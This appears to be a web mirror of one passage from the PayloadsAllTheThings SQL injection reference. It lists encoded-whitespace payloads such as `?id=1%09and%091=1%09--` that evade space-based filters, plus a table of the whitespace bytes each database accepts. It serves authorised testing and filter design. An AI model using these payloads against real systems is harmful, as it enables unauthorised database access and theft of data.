Skip to content

SQL Injection · passage 22 of 186

Alternative Whitespace Characters

Text · SQL Injection/README.md

For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page.

Open this passage on GitHub

Most databases interpret certain ASCII control characters and encoded spaces (such as tabs, newlines, etc.) as whitespace in SQL statements. By encoding these characters, attackers can often evade space-based filters. | Example Payload | Description | | ------------------------ | ------------------------------- | | `?id=1%09and%091=1%09--` | `%09` is tab (`\t`) | | `?id=1%0Aand%0A1=1%0A--` | `%0A` is line feed (`\n`) | | `?id=1%0Band%0B1=1%0B--` | `%0B` is vertical tab | | `?id=1%0Cand%0C1=1%0C--` | `%0C` is form feed | | `?id=1%0Dand%0D1=1%0D--` | `%0D` is carriage return (`\r`) | | `?id=1%A0and%A01=1%A0--` | `%A0` is non-breaking space | **ASCII Whitespace Support by Database**: | DBMS | Supported Whitespace Characters (Hex) | | ---------- | ------------------------------------------------- | | SQLite3 | 0A, 0D, 0C, 09, 20 | | MySQL 5 | 09, 0A, 0B, 0C, 0D, A0, 20 | | MySQL 3 | 01–1F, 20, 7F, 80, 81, 88, 8D, 8F, 90, 98, 9D, A0 | | PostgreSQL | 0A, 0D, 0C, 09, 20 | | Oracle 11g | 00, 0A, 0D, 0C, 09, 20 | | MSSQL | 01–1F, 20 |

Source: SQL Injection/README.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.

Data as of 2026-11-14. CVE List through 2026-11-14 · EPSS of 2026-11-13 · CISA KEV checked 2026-11-14. Source: PayloadsAllTheThings by Swissky and contributors, MIT License. For authorised testing only.

Updated AboutDevelopersSign in